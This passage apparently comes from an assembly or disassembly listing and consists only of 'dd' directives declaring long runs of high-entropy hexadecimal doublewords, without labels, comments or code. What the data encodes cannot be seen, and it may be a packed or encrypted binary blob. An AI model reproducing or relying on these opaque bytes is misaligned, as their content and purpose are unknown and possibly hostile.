26487330h, 8F78F1C3h, 13C7C210h, 43115B2Ch dd 0DA35FE00h, 0D2D5F72Eh, 25A3E804h, 4129D445h, 2105CBCFh dd 42C70116h, 0A5D27C16h, 0AB868D0Ch, 0CEB02F50h, 0DB644DD4h dd 8532A2BAh, 90A813E9h, 0E8545712h, 6C52C959h, 0CC51FB64h dd 0C970F280h, 345A1ED0h, 1CC11209h, 5366C7B2h, 6326FB7h dd 1CF92806h, 635BF1EBh, 26011C29h, 0C1500FACh, 2F187FE8h dd 38470CCDh, 540BA528h, 556E3Eh, 451B77A1h, 1C339016h dd 0C29B0D19h, 0AAE9CB09h, 3ED2C5C4h, 4F2D8EBCh, 295BC9C0h dd 82E5E59Fh, 0F363E956h, 73095EE4h, 506EDE78h, 4010202Ah dd 2E708948h, 0A04FBE6Bh, 34823E91h, 9E7A9149h, 593B89EDh dd 0E3EDA2Ah, 0CA52882Fh, 6856001Ch, 74431419h, 6A58BF5Eh dd 0C6F80A24h, 6C420713h, 771FA168h, 0C1AD4B47h, 0BC2F3F2Ah dd 2B5E760Ch, 680A0F8Ah, 972273CAh, 0ED04FE50h, 1214E7ACh dd 51B0680Ah, 38B58112h, 43BCF580h, 0EFB1EDEBh, 0CFE7E416h dd 75CC073h, 0F6900F08h, 4CF7C2D7h, 0B4B96020h, 4015B42Dh dd 25856853h, 5B5EB500h, 0D14BDBF7h, 0C38102EBh, 0AF5A92C7h dd 63545EC2h, 3992531Dh, 59B9F880h, 745B3D65h, 14FAE118h dd 6F051CBBh, 0D3314098h, 0EFA2BF0Dh, 2DD320h, 526164D7h dd 5B4D3405h, 11F67F75h, 5069293Dh, 71E762C2h, 0A2072F87h dd 11C393BAh, 5B14D179h, 7B373965h, 0FF5C6813h, 35940860h dd 5215C76h, 0CA51A504h, 3F88EA2Fh, 0A08F5E97h, 0C209C67Dh dd 5006AA67h, 77014FDBh, 0D2CCC45Eh, 215F09B9h, 0B850080Ah dd 7E597CD0h, 8118C169h, 0F9344FF2h, 53A16A25h, 433FD2Ah dd 0EC57E946h, 3EDCCDAFh, 0E1D8A922h, 0E7E45D34h, 0CA197574h dd 3E070514h, 8D026B05h, 469EFF61h, 1BB96809h, 1D13A1Ah dd 0B6AFC08h, 8EF70C2Ch, 4D0996EEh, 0F7C9A90Eh, 30581F82h dd 0FEE8C47Fh, 0FB1CB292h, 2F91DC81h, 715E0D5Fh, 0AD80EA7Bh dd 0CF1CCA88h, 0E24DE92Dh, 0EC33F712h, 817D3EE1h, 3C1AC1A9h dd 0FC3A6E4Ch, 0CF29848Ch, 5A9CE3A4h, 828827FEh, 30D43760h dd 7F46EA6Bh, 28E5A296h, 21AAD668h, 3C1C8BE5h, 1B5F86D7h dd 0F8282AA6h, 51EA3074h, 2666C2A5h, 321C33Bh, 0D7345CAh dd 0AF180B4Ch, 4B8CF2BEh, 0F52568FCh, 675E9823h, 6E300057h dd 6A26E781h, 7E9023A9h, 0F6971F70h, 82E9F838h, 1D395F5Dh dd 68C002F2h, 1C95F781h, 29382EE2h, 0E0068D3Fh, 528A3E26h dd 1384A35Ah, 64BADF06h, 9BD6070Bh, 0FB318408h, 5AF551C5h dd 0D65F0B02h, 7147256Ch, 4297E98Bh, 4F00FE60h, 56252148h dd 73577AA6h, 37F8A759h, 0FE032127h, 0F8F542FAh, 42EEDD09h dd 1F16FCF3h, 0D3306AEFh, 990F6468h, 0BD54B05Fh, 4D014207h dd 0E557AE25h, 802A4047h, 2B650D36h, 835DD404h, 35C0FFE8h dd 2490739Ch, 8BE75A50h, 96614A03h, 9A337AC4h, 0E0035AFFh dd 20BF62F8h, 7DD3C346h, 292A3BB5h, 8EB5078h, 0E97AA058h dd 0EDBBD359h, 7BC60784h, 1AD313EBh, 5E8CEC2Ah, 0FB6C1349h dd 0CE2CFF07h, 800853B5h, 250FBE3Ah, 81A61D3Dh, 313B1A14h dd 2B7AAEEFh, 63446884h, 0FCB18D8Ch, 5DCF6928h, 1E3485FEh dd 89B5E2BAh, 0F68F2B9Ah, 0C4596508h, 0CD17D9D1h, 4313E8E2h dd 9D667BDh, 29D6585Eh, 0D6608952h, 0AFE958E1h, 2EB8DD4Bh dd 1BCCC680h, 0DC9506B3h, 0C8F30B7Ah, 2EC59711h, 0B7A5C57Dh dd 0A0C68DEh, 90D67F48h, 0E2E84E8Bh, 8B5ADF4Fh, 6FD85D0Bh dd 0D572030Fh, 703DA920h, 3440768Eh, 0E22732A4h, 20CF4CADh dd 0CF8117FAh, 0D967F1DDh, 702BFCEFh, 3164E9EEh, 8BBF5B39h dd 0D8FF25E8h, 6F47B7F2h, 665D71A7h, 680B53A5h, 899160EAh dd 5AE83DDh, 13114EEFh, 0E1A21710h, 68E42F21h, 2024BF71h dd 90DFFAE1h, 8C3BE97Fh, 3014EADFh, 12AD48B9h, 32FA9C47h dd 5DE84C46h, 7BFEDF31h dd 0B90E15BAh, 0FE7516E2h, 148E8C8Dh, 5CB0676Eh, 89B5F83Eh dd 0E4E1D58Ah, 60A8FDAh, 670B0181h, 456803EEh, 615ED638h dd 6E1CA34Fh, 5287EEB6h, 0CA02C168h, 0F21F7034h, 90BC6EB5h dd 59C028Dh, 0DA297B78h, 0A5A5F177h, 1020E0DEh, 0D4BE5602h dd 4B55EC39h, 0D30FF4Fh, 4E91EA89h, 428D9C01h, 7B38DC56h dd 0EECE6170h, 4885C55Dh, 1996A4F3h, 801F318Dh, 4FA2BE47h dd 0E81477Eh, 3854E8F6h, 1CFAE947h, 0CDEF56EDh, 5B9A67D9h dd 85B57AA8h, 78798185h, 985CBAE0h, 880ADBECh, 528E96E5h dd 57D785Dh, 0B35355C5h, 0B887EF4Eh, 6166DF22h, 0B2EA0D4h dd 1A88B27Ah, 76F808D6h, 76895A13h, 95241C20h, 98DBC798h dd 92D4880h, 53CFDF23h, 0FBC289FDh, 0AC60DFAh, 0A82C243h dd 4023435h, 0AD065755h, 5A03D164h, 0EC80F428h, 4BC4999Ch dd 0DE288E4h, 68C2FE58h, 514310B4h, 0E91CF9B5h, 5A3810D4h dd 143ED129h, 48000074h, 92BD51Ch, 0E328E9F1h, 0CEB7E60Ah dd 6C22B5E6h, 1058339h, 77961490h, 2668E4B6h, 69470E3Bh dd 0A5B3680h, 1B975A32h, 0B372097Ch, 0A028711h, 0F702DA91h dd 2A3D40D6h, 90082D82h, 219752FBh, 7D56E332h, 0C8179670h dd 5AEC8D2Bh, 1C619D04h, 96C9FA50h, 264A51E8h, 1975691h dd 68E9555Ah, 698C2E1Ch, 0C188AA65h, 0BE0029CDh, 39240145h dd 47184A7Fh, 2EE9570Dh, 0A717EE5Bh, 64007BCCh, 48463C3Ah dd 27C5A105h, 0C7C0B9C3h, 5A498E68h, 6294840Eh, 50FFB16h dd 755524BFh, 7B610391h, 0C4B81650h, 72C0C5Eh, 0E903FF05h dd 24A82F32h, 5F87B29h, 0A842CF68h, 17FDC441h, 0E4804F09h dd 267F603Dh, 4D09C1B8h, 8082E2E4h, 6D487204h, 0BC295B71h dd 10841BFh, 41D7CCEh, 84E981EBh, 0F58100DFh, 5119135Bh dd 2B44BEDDh, 38F36964h, 80074D2Eh, 0A0685651h, 2D25FE73h dd 6273625Eh, 0A1DF008Bh, 60676336h, 38098A4Ah, 61EF0C16h dd 0F6167A41h, 67C4268Ah, 0CB5B0EBFh, 972AF06Ch, 51B51D34h dd 0B3E941BAh, 1CC86EF3h, 35ECE144h, 535E05A6h, 0D0D0E978h dd 2D7BB0Ch, 510C3E26h, 61BE3D16h, 25A15730h, 0A4803E65h dd 64202FB1h, 16652C0Ah, 0C1053BB9h, 1FD12DC4h, 0A372FC92h dd 960C0508h, 4074D0Ah, 18D9E8ACh, 246B4C9Ah, 10C12C58h dd 24FD5A46h, 1FD97810h, 0E88F4EB8h, 0FC244441h, 14A05694h dd 0D17EF368h, 3C4CAC7Ah, 28069376h, 551D0D78h, 86CE56Ch dd 0B2E2B69Bh, 7BB79550h, 674E0956h, 83D932DDh, 4E030EB2h dd 6F44FA0Ch, 0ACBDEA1Eh, 0C2EAED7h, 53603C17h, 0F9D20BBDh dd 0C705E1DAh, 4A95D164h, 0BE4B16BFh, 9BEB6B65h, 128E4011h dd 664F1391h, 9CD07B5h, 1DA52D2Eh, 0E92C18DFh, 0B2D7D821h dd 95276A40h, 0A28FD7F6h, 3A1A4942h, 0DEA6CADDh, 2BE9F080h dd 0C11DDE5Ch, 3D56685Bh, 0B9838C2Bh, 0C28ACF53h, 5EB7685Ch dd 0AF12D04h, 4AFDE951h, 98024242h, 82C1727Ah, 83AE435Fh dd 0D5098778h, 0E9868DEDh, 7179793h, 0EB3F75C6h, 412DB274h dd 0A6ACC6F3h, 0B8E5C42h, 0B198305Ah, 974D863Eh, 29EB979Fh dd 608F0D3h, 4BF927F5h, 5D68C142h, 51447643h, 0DE1C823Ch dd 7F05CD4Ah, 17BB5280h, 19901481h, 0CBF2CB7h, 32824CEh dd 9F712C1h, 8F87D5AFh, 4C4A102Dh, 22EC7BD2h, 7E391F2Fh dd 0E3D51252h, 0B0E1D260h, 9E2BDB60h, 0E2EF5854h, 0B9DB2981h dd 0CC2AC3B4h, 0EA985AFCh, 8B4E5FC9h, 52620E90h, 0CDB60180h dd 73F54C28h, 68135E20h, 0F46179BFh, 4203712Dh, 0F68888B6h dd 0A6ECFFEDh, 2B606B4Eh, 9412E73h, 574FE958h, 18E34268h dd 4E7C1F16h, 0F3979587h, 5D7A5C50h, 0E9DD0831h, 0F60E1188h dd 59CCC5D1h, 80CFC5BFh, 4AE9E445h, 0E9475CB5h, 0B5CF205h dd 3A5609F8h, 0DF0A2A89h, 58C94B1Bh, 7B2D00ACh, 0B60D4A1Ch dd 9FF85F5Eh, 0C43768A9h, 77E36585h, 0CC5D5C12h, 12121E90h dd 0D0011B1h, 1A2A1D51h, 4CE4B552h, 1CC50126h, 31760438h dd 0A7BA5828h, 2EFC4EFAh, 0D23A04F4h, 6DDEF30h, 88511D84h dd 811DBEC1h, 0D5BFD4Fh, 0E9E4EFEFh, 0B6825B53h, 60811C4Dh dd 0CA04F4FFh, 1B8C4820h, 5E69C680h, 0E940517Bh, 204F0E62h dd 532A36D9h, 62553B0h, 62DAF1B6h, 0D5E64A2h, 0F42A8669h dd 0CF85BD46h, 53C093D5h, 2227C179h, 8515185h, 310B4EF9h dd 30FC5AC7h, 0B342F7F2h, 0EB39809Dh, 5ECB9908h, 12858D06h dd 0AD1FE915h, 40FD25F0h, 4A685F5Dh, 0BD898C01h, 13464102h dd 0C3EB2945h, 863C284h, 14033C84h, 0D2F70591h, 3EB6A5E9h dd 802CC468h, 59807E62h, 1F36BA42h, 9CA2814h, 0FD89D531h dd 0EC2DD641h, 2B038206h, 791A4105h, 0CE8A819h, 12F0A29h dd 24072DD8h, 0D47AE5A4h, 189AEB95h, 0EC105F4Ch, 0FE680CF4h dd 410C3B0Ah, 0A8AC3AC5h, 0F7665C80h, 132D68E1h, 2087C667h dd 52A0EF3Ch, 0EB2F01D0h, 5BCDFE03h, 4A0C2052h, 461D32A8h dd 37D66DAh, 42B0081Ah, 323EE7B0h, 352D672Eh, 973BF610h dd 60A92312h, 0FE20EE9Bh, 54271E7Dh, 9E3120AAh, 9750A978h dd 8767B3E0h, 70AF562Dh, 756330FBh, 45C1CEA9h, 55586E25h dd 37FC8300h, 89B53FF7h, 0A57AC70Fh, 0A89BAE5Dh, 0C8310BD5h dd 4AF3984h, 0B6EBF121h, 270739F5h, 0CFE330C6h, 0F56C9D6Fh dd 0E221DEBBh, 0ED6CC88h, 0DFEF72B4h, 0A5B2A833h, 0D64ACF82h dd 61824984h, 40004CECh, 26716335h, 3424107Ah, 6B1AE18Ch dd 24E9003Ch, 890FF5AEh, 83F06BB5h, 13FAD8E0h, 905E340h dd 7754278Fh, 0EADBEF84h, 1B822DCh, 683A6544h, 0D825D0F7h dd 83D1167h, 6AC2D5E9h, 516F10C2h, 7DBE02DFh, 8BE00AC0h dd 51250466h, 403F544Fh, 327E1317h, 525E3D4h, 72CFA451h dd 0FAD485BAh, 4209AC9h, 705997F7h, 0DAB56C4h, 218549BCh dd 4ACA2BFFh, 214E15Ah, 6801D8A2h, 0E8264C22h, 565EE982h dd 844F247Dh, 2561EED9h, 0FB71176Ah, 5FFE6479h, 0E129E06Eh dd 250D249Ah, 0B1106506h, 3F0E3E68h, 0AB35221Ch, 0F639FE65h dd 1808A6h, 16AA4DEBh, 0E4A68E9h, 3E53500h, 9078A55Fh dd 26AF05C8h, 0B4096B4Bh, 1189B22h, 1D401798h, 60C10008h dd 0E9D1F749h, 71962FE6h, 7DFE8089h, 0BD556E30h, 62106393h dd 0CA837548h, 7BB79E68h, 0BFF1F906h, 8EFEA07h, 0C1D728B4h dd 6FE0275h, 6B971927h, 0AEB8102h, 0D9220E01h, 5EA64CE2h dd 74A6498h, 0DECD4EB1h, 0B04B444h, 0E2AA5F5Bh, 9A321B3h dd 664E382h, 7A65CDF0h, 23844B75h, 3BF9FD0h, 465D2F56h dd 3E3330DEh, 0F80C2479h, 0D1310551h, 3700AAEFh, 0E9D60EA6h dd 2C05B566h, 0CCDBAF5Ah, 0D5EBE82Fh, 1884F210h, 93F12D02h dd 1D40A479h, 0CC273F40h, 0A005D62Eh, 5580008h, 458C7395h dd 102F8E2Dh, 0E53FC31Ah, 41F00710h, 1AE02A12h, 10C285Dh dd 68570B79h, 5B3676C8h, 5F123C40h, 701BE4D6h, 6098401Eh dd 85A104D7h, 1DD2617Ah, 6E273EE6h, 538A48D4h, 1E12573Eh dd 547530D4h, 794A685Ah, 0FB09A512h, 0B8DBD401h, 3D6A17ACh dd 4D4F60FFh, 960685C2h, 0A9D460BFh, 7C452439h, 0F5AA09DFh dd 0DF67517Eh, 0F4E1F5A9h, 369E2F55h, 49E35717h, 25F16C5Fh dd 6DE47DC9h, 3332E917h, 0BFE0B689h, 9CC895EEh, 0D394D21Ch dd 5DC032EBh, 0E95CA89Ch, 133F4941h, 0C1CC5771h, 0E947C501h dd 12FBF8E0h, 56C75A58h, 5DD8C1A2h, 3C91F344h, 1B636861h dd 0D24BA23Bh, 13DB16EFh dd 0B9E852BBh, 80F22FA0h, 44C0580h, 3E75F9h, 789C7499h dd 14B97D35h, 2D75AD48h, 2712E59Fh, 0E923A1F7h, 22818C45h dd 0B6377FB9h, 4FA12E65h, 0B41DB3Dh, 44004A68h, 0E925C547h dd 80810B42h, 3B53F7ECh, 7E7546B7h, 0C0364ABCh, 7291BDF7h dd 273D2D2Ch, 1660B902h, 0C00AE004h, 0F85CF230h, 5C13F8E3h dd 5A7E2EA5h, 0EA0F3141h, 0C8C3F99h, 0F01BF07h, 0CC2EE580h dd 7295AAC5h, 0CACAC8DEh, 5F5A5704h, 0D5B787C2h, 0E22F9B14h dd 0E7A330BEh, 0C9F1BE5Ch, 0D9714982h, 2FC016F7h, 8FD3C533h dd 69216885h, 20D566E2h, 1CCC6882h, 0AFB235A0h, 0A44911E9h dd 179F1202h, 0F9B4DAE8h, 72EF81D8h, 0E1307FD3h, 0E4EBDF5h dd 3B4A49F6h, 13F84E8Ch, 0F415CE13h, 9101C5Eh, 12A42660h dd 147BF60Ch, 7AF65358h, 12B14F91h, 0D1017E88h, 5F0670EDh dd 0BA444C16h, 3AB98B08h, 0D6525807h, 0A197A554h, 63B02E79h dd 0B9BE0556h, 0AE53C7D3h, 19FE83C4h, 210893FDh, 91ADA43Eh dd 3909BA01h, 0E5D5527Ah, 0B56F11F4h, 200CC261h, 34DA7CB1h dd 0E90F0154h, 252BF4CAh, 249EEBA5h, 2C14CE42h, 0E4D89C0Bh dd 219B4ECDh, 994EE17h, 7F0562B8h, 2014E34Ch, 11697AADh dd 5C290E11h, 0E90E0C90h, 0FF136D14h, 0FEE92489h, 31254538h dd 0E5F16182h, 495EBE00h, 89512D9Ch, 0C5746E60h, 5BD8A3C3h dd 58DBC950h, 5FFA2100h, 0B8C7A5B8h, 560BDA60h, 3248DAB7h dd 30481E58h, 792812BCh, 13D73ED0h, 5804BE01h, 321D382Dh dd 0D54310BAh, 0D070BE66h, 7FA33B20h, 674D0B6Bh, 2E225DD9h dd 0C0017A7Eh, 2BE002E0h, 34E59F2Dh, 20F9AE32h, 303F17C3h dd 0E0165264h, 602DF113h, 90F8855Dh, 4825094Ch, 0FE8064Eh dd 450EA31h, 9B4167EEh, 10ABC013h, 0A8B8B303h, 82015BCh dd 148246B0h, 0E95A46C8h, 8DC4DD4Ah, 278A8EFEh, 284D229h dd 1EAC568Dh, 0BF1D589h, 0BB684585h, 4C0DF2AAh, 1F1802DCh dd 7D5F649Fh, 0C9EFC5C8h, 36932C18h, 2D8896CEh, 0EB600346h dd 5F14FB89h, 12EBD3F7h, 36F3E498h, 6582BD03h, 0FF12076h dd 0EF9750B3h, 9A7C7388h, 0B2701AF6h, 0FA99949Fh, 4DDD544Ah dd 5A4100BBh, 0F3812BE4h, 0A0243A84h, 0E98BCB5Bh, 0BFB8A1DEh dd 1FDD4F52h, 9664047Ah, 585A0474h, 2D6175BFh, 0D4452A13h dd 5DB25045h, 59EF8807h, 0C3B4A566h, 0C1B5E7A4h, 527CE09h dd 0DB0FB4AFh, 1B6D951Fh, 1C9B4E8Dh, 0D8A1E27Bh, 413BE979h dd 3B553142h, 0F75179D2h, 0C8D8680h, 0D2972605h, 65DB955Eh dd 37ABE9E1h, 5297BA69h, 4E4503DAh, 81E82C23h, 0DC44AF7h dd 0DCE8A4E9h, 0F1A0B95Fh, 533F16AEh, 0E77FE2Bh, 0D38BB4A4h dd 0BFA2A444h, 14E0A68Bh, 700CF681h, 94686550h, 0FE072E55h dd 3E730A32h, 0C1888A1Ch, 0C8053AB7h, 7752D0F6h, 23C5E72Eh dd 0F1AA59EEh, 0D20F8640h, 4BA0B2BAh, 0B3973C87h, 0F560D52Dh dd 547C75Ah, 896D5620h, 0BF317511h, 10599F98h, 90567953h dd 0BAF84A08h, 31CA83DFh, 0C2FC5A1Ah, 37787A47h, 97E58829h dd 0CEE0A516h, 504D0359h, 30A37AB8h, 40C52991h, 6CFEB91h dd 0D936FC27h, 0FB3B3F6Ah, 9FAE8399h, 0CE9AF8C5h, 89D9D197h dd 96183787h, 159DC388h, 0EFD222EEh, 0BD5E6324h, 70A52BC7h dd 0B356970Bh, 93DBFC72h, 6842C0DCh, 9D0E2520h, 0E0515F7Dh dd 2DC67428h, 0CF213959h, 731D97CAh, 89E8EABAh, 0F8955FFDh dd 0E6C12754h, 40239D6h, 29C890DFh, 0EE3E57Fh, 0AA132FF0h dd 2C392A88h, 8565A37h, 530E503Ch, 1670EE68h, 3B56DDAEh dd 70D92321h, 0DC41F723h, 0EA27122Bh, 7D09E42Dh, 10F6B22Ah dd 8D6ACC2Ah, 127202E0h, 407D0AE1h, 0EE281BEh, 4B8003CDh dd 15EDF2C0h, 2D066742h, 3C39762Ah, 44F16286h, 0ADE15546h dd 5B0005B4h, 0A232E1C2h, 0EA60DA20h, 147D080Bh, 0F4506097h dd 2E6F74C7h, 101DDEC2h, 0D3A05F01h, 2D06E0C1h, 59808A0Bh dd 205D79Dh, 0BBEBE047h, 0CC235F09h, 81AB8910h, 2188E3Ah dd 0CE7A40EAh, 6F061295h, 50B28629h, 4E746817h, 8C60058Ah dd 0D711B8BEh, 0E5F87E4Bh, 5A4A0750h, 0AABB3031h, 4C5E200Ah dd 0BCC1FCBDh, 311FA465h, 0E24CCCDAh, 0C500187Ch, 34A3CEC2h dd 25E9EA21h, 92519372h, 91EB88C3h, 11305BDEh, 0A659B5F5h dd 0E8310069h, 0B23616E9h, 738A051Eh, 0BE0111C8h, 0FD523C4Bh dd 9BE9CDB8h, 8BAD0995h, 0C7EE5717h, 0C082CBF2h, 71FFBEBh dd 0D1461940h, 0D26AE4E6h, 237E6674h, 2F0DB43Ch, 5C4B2480h dd 4A6B3EFCh, 10CF809h, 92B6BBD3h, 0D56B138Ah, 0EDACD016h dd 12C27B28h, 55CF4EE9h, 0F917D646h, 2EA07937h, 29221276h dd 2AE865h, 0B84D23F1h, 548AE947h, 50C89EEDh, 2D12BA59h dd 0AC25540Bh, 0CFA4AB81h, 0C73A1330h, 0EA50FF08h, 9CAD4A08h dd 0EE677F87h, 0B25F12D2h, 808B2AECh, 7E5C001h, 0C5FED5F6h dd 506EDDCh, 0E970F580h, 2D4BF87Dh, 314D559h, 0D01DF495h dd 98DCA1E9h, 11BBDD27h, 0FA1521F1h, 0BF5994DDh, 0E55E3D6Ah dd 82D3A250h, 4C2C8800h, 0DFF64EBEh, 5D494D4Bh, 8AF706B2h dd 4BE01D54h, 25E9DCD4h, 0C2ECA889h, 7A5FF497h, 0C482D3DDh dd 86A2ABEDh, 3652FB92h, 0C2069701h, 862B0ABFh, 60123E53h dd 71ED852Bh, 1A08ED28h, 38E179E9h, 0E6DDCD42h, 4EF7F000h dd 80042746h, 5B945A93h, 49E9E4C2h, 0EB20551Bh, 63A32D02h dd 0AD22DB3Eh, 77D942C4h, 5BB4B6D3h, 844C62B3h, 86FE9A89h dd 2701E56Ah, 0E1C12963h, 0F10160h, 0A6B4C9Bh, 0D5E9CD31h dd 0ABB52A5Bh, 826175DCh, 52C72460h, 76727B4Ch, 7A896817h dd 0E7FE4161h, 40F410A7h, 4FF2193Ch, 0D92BCA49h, 142FF8D1h dd 0DAD03BBDh, 0BC055D3Ah, 5D8BAE53h, 0AC5FE842h, 0C8A18B2Dh dd 227F142h, 31167DA9h, 0E17559CEh, 0D3048BFh, 672D1F7Fh dd 0E9147023h, 6599625Bh, 3B9DBBE0h, 0E92C0927h, 325CCB5Dh dd 2D9762h, 0A478BABDh, 5F050B0Fh, 0A26D0F5Eh, 5FBF666Bh dd 2E5AFC3h, 0B8E95607h, 5EF2BA50h, 0A70272C8h, 0BAAF2177h dd 0DFE2614Ch, 5AEB58EBh, 3E50EAFCh, 27F320C8h, 0EFF85D53h dd 0F20CCB9Fh, 11E9FFE7h, 4A703A1Ch, 2A54535Bh, 0B4D41FE9h dd 3E2DD062h, 30A55614h, 70528FAh, 79E256BCh, 401971A3h dd 264915CEh, 7DF6D48h, 719C28DCh, 5089E5C0h, 0C08609Ah dd 0F784C63h, 780E92Fh, 406341CEh, 0E2470265h, 36991095h dd 680DFF80h, 0EAB03FF8h, 0CFC2CC9Ch, 0BD60B79h, 0F5658D82h dd 1B9E003h, 6E30BC1h, 32550F68h, 0B8C4429h, 35E95051h dd 0C393345Eh, 305927EBh, 1DEA91E1h, 9B986827h, 5DDD9A65h dd 0E77F45F0h, 71738E2Dh, 97D9EB44h, 0E9761520h, 7AD7C1AAh dd 71C77151h, 0F44597FFh, 0D0CE74ADh, 55B4F91Bh, 811A3750h dd 3C2E835Fh, 3A50FC1Bh, 0ED10B70Ch, 2FDF030Dh, 0E4014E68h dd 557C24C2h, 413F48A1h, 0A7106F58h, 0F2636B07h, 0C33838C9h dd 0FA2EFF4Eh, 297DE612h, 20C9638h, 3BDAEEE3h, 0C9B1D15Fh dd 0F55A4FFEh, 0DC52D5A5h, 0F65F1218h, 2E7879F2h, 84C906CAh dd 87565DEEh, 0EFFA64D9h, 0BE9301F2h, 0ABE91E02h, 52873E8h dd 0BA5DEB89h, 26728FF2h, 691D40A7h, 0AEF200FDh, 0F5636F3Fh dd 5E23E560h, 188EB6A4h, 55A90B80h, 69B8B529h, 154B9A68h dd 841DAFCDh, 4D92EA82h, 80F53427h, 8C1CE6E9h, 0C1509579h dd 0ED99E913h, 0B3B70730h, 0B869730h, 4F5FB2EEh, 9DFB641h dd 76EC6A83h, 5472BEF1h dd 0B1C728E0h, 82B411C7h, 747CC0C2h, 0BBE035F7h, 612D408Eh dd 59CD56A2h, 852D6057h, 8BC6B72Bh, 25582133h, 6953FAC6h dd 0E03F8898h, 9B6BEEA5h, 26F6D893h, 194558C7h, 0DDC56B16h dd 94427E01h, 545102C1h, 0AC54E2C9h, 43423D7Ch, 45B900F9h dd 409F2A4Ah, 58B5BF4Bh, 0C60391D5h, 496D4285h, 72870C01h dd 0CE0159B3h, 0B1F89C20h, 2D080FCDh, 4F0622C5h, 0CA25F7E4h dd 80AD840Dh, 21440A4Dh, 32D1A4Ch, 58B07DB6h, 0A2F3B843h dd 0CCBA12CEh, 0B0291629h, 0F54103C4h, 1E6F0E2h, 99685557h dd 2F7D2B39h, 0B850F980h, 0CB850461h, 0E8C52912h, 65BD8034h dd 0F41A2842h, 8E879DFCh, 60485035h, 0D69F0163h, 5AE96222h dd 3048DFD0h, 0F2D81255h, 91206589h, 0E975629Bh, 0D4805E2h dd 0D9277FF2h, 4F27F729h, 660B684Ah, 0EBBF7ADh, 6F8802F9h dd 8C3A7F2Dh, 2B40C97Fh, 2DEA0781h, 697B1547h, 24FDCC3h dd 0C89C28BAh, 0D1E34F4Bh, 68628E2Dh, 0D9FA9376h, 3A5A090h dd 7F671417h, 0B0C1BB9h, 91C86CE9h, 8880CC7h, 1B0C4F01h dd 913CBF16h, 0EFDB24FAh, 210B0B2Eh, 3B821C77h, 0F968C4CEh dd 0D384AC1h, 0C928F64Eh, 2509DBF0h, 7414DFE9h, 30F55158h dd 0FC7C16Bh, 6825DEAh, 0BC4F5A7h, 70636CF1h, 41F6D3BDh dd 7E787668h, 41E00631h, 0CF487D76h, 0DF27578Fh, 0E0FBC553h dd 4F30E9B8h, 0E0C2E333h, 0CBAA2FFDh, 0B97A1840h, 0CC435F82h dd 60AC078Dh, 0F2222769h, 98D5CF1Dh, 252DF3CDh, 60F14D5Dh dd 7C05E562h, 0D053080Dh, 0B52D5D00h, 0B54F5807h, 0A755992h dd 400C0D2h, 1F0B4135h, 57E9D0Dh, 84D9E984h, 0BC98CAFh dd 0F3BF8761h, 41D12B5Eh, 5D90B240h, 61105C74h, 8E5F0802h dd 0B360466Bh, 0DE273D41h, 31C78673h, 0E3810238h, 4DF2706Fh dd 0AD0C6BF4h, 4F5C5889h, 0B40AE951h, 286CD8AFh, 7CC7D04h dd 0E016C81h, 7C45F15Bh, 0C448AB4h, 719CD549h, 10BFA080h dd 227AC62Eh, 1777181h, 0E8E291Dh, 0CCF23568h, 2AF3B039h dd 0D500678Dh, 7DF5737Fh, 20BA2672h, 0C50D017Bh, 4059804Dh dd 54002B4h, 2DC55C5Ch, 0E735F835h, 9217CC34h, 0F6C1F6FEh dd 42BA0F52h, 0FAD73E22h, 0CB295006h, 0C60B8364h, 0C91BBE3Eh dd 8F7EEE78h, 45C87D82h, 8880F1A6h, 10009AF5h, 7F4DFB68h dd 69096324h, 28CD7C41h, 1EF7E360h, 8705591Dh, 0BF6E7E9h dd 93B34F5h, 0C816E957h, 97B3E4DDh, 0A14231D4h, 0EA3C6F8h dd 55E3BB66h, 98DA892h, 4602EC83h, 0DC2E1DFh, 6E3DDDCCh dd 70D3CF32h, 0EDF4B5CAh, 5A40E9F8h, 0DEF3A9C7h, 29C3BC8h dd 15D86858h, 0E59E4B51h, 0CB080289h, 0AF8D4ABBh, 0B462BC3Dh dd 0FC33107h, 68C0DEB7h, 0AE974F6h, 0FEE8D34Ah, 0A0E8E4E7h dd 8509BE00h, 0FCD2F0EFh, 58B92490h, 0AC5E08E9h, 54E221A8h dd 27201CC4h, 26DCB5FDh, 10C3E20Ch, 739E2A68h, 42FB2DEFh dd 0E9054965h, 40BBAF9Eh, 36EE813Eh, 6F7DC012h, 0F9C5B95Eh dd 8234C7AEh, 6DEA5664h, 0CFC24F8Fh, 0DDDEDAA8h, 0E9F20901h dd 53CE54Bh, 41DB089Eh, 57E3880Eh, 6A421605h, 76D9DBE6h dd 0D0F700F8h, 410DF048h, 0A5E2E39h, 6867E658h, 6C82A16Ah dd 58D3E231h, 0DB0415EBh, 0C318301Fh, 0D5FDF51h, 7412C3ACh dd 9601BCE4h, 8C193BBh, 0AFEE1F2h, 8308552Fh, 0E6B42FAEh dd 58317C9Fh, 0F802B450h, 6EE9E688h, 0C6A0571Ah, 9268D3EAh dd 5CA5615Eh, 91C0806h, 84D5809h, 0CF64C655h, 0BAF34724h dd 56891300h, 8229330Ch, 0BA013F6h, 581762D0h, 0F9382F73h dd 5108B74h, 0FCE4E30h, 0B8301E00h, 1D43232Dh, 0ACD6BE31h dd 66072566h, 91E675Fh, 89894EFEh, 88FBFEEAh, 0BB017508h dd 72923E47h, 0A7247BE9h, 24D92F68h, 0EC973466h, 20229874h dd 0BD0F128Dh, 0B2E8FCF8h, 0BAA829C4h, 7903050h, 0E9736B33h dd 0F52E2B60h, 939C1C1h, 56E06B56h, 0AF1F251Ah, 4ECE2A62h dd 469A6817h, 0D3976B61h, 4077858Fh, 0EBC0AE04h, 68099A8Eh dd 47222530h, 2D00CBBDh, 7AC810BCh, 0C09C2E37h, 1BF06BE6h dd 0C90206CAh, 41B51C02h, 51B8005Dh, 18C20949h, 5CB6BD3Fh dd 2C46008Bh, 19E954C8h, 9E3D164Fh, 0DD345A63h, 5AAA41FAh dd 0CDD1EB80h, 98AF30C3h, 779D8FD0h, 0EBDAF34h, 0EAD6C8A2h dd 1A256700h, 4E3E6853h, 4CE93302h, 77DF82h, 0F842274Eh dd 0DDB3A028h, 69391866h, 56B70E41h, 8763183Eh, 0CC1DD2E1h dd 1A5EE9D1h, 0AC6C781h, 3A4C7543h, 0EE3CFD8Bh, 21516B8Bh dd 20041556h, 59C1667Eh, 0F327B55Fh, 0D84CA214h, 0C863889h dd 0EA0247E7h, 0BB73F751h, 8A2FE055h, 31711F36h, 241E9AE9h dd 0B958615Fh, 0A0DF33E4h, 3D22D03Eh, 28A713E7h, 0F7817874h dd 669A383Fh, 5C1DFD4h, 0FDE906E7h, 0F58E4EFBh, 0E38783E4h dd 12513D4Dh, 25ECD2F4h, 54F281C0h, 264F9542h, 137678F8h dd 0E4B9BEE9h, 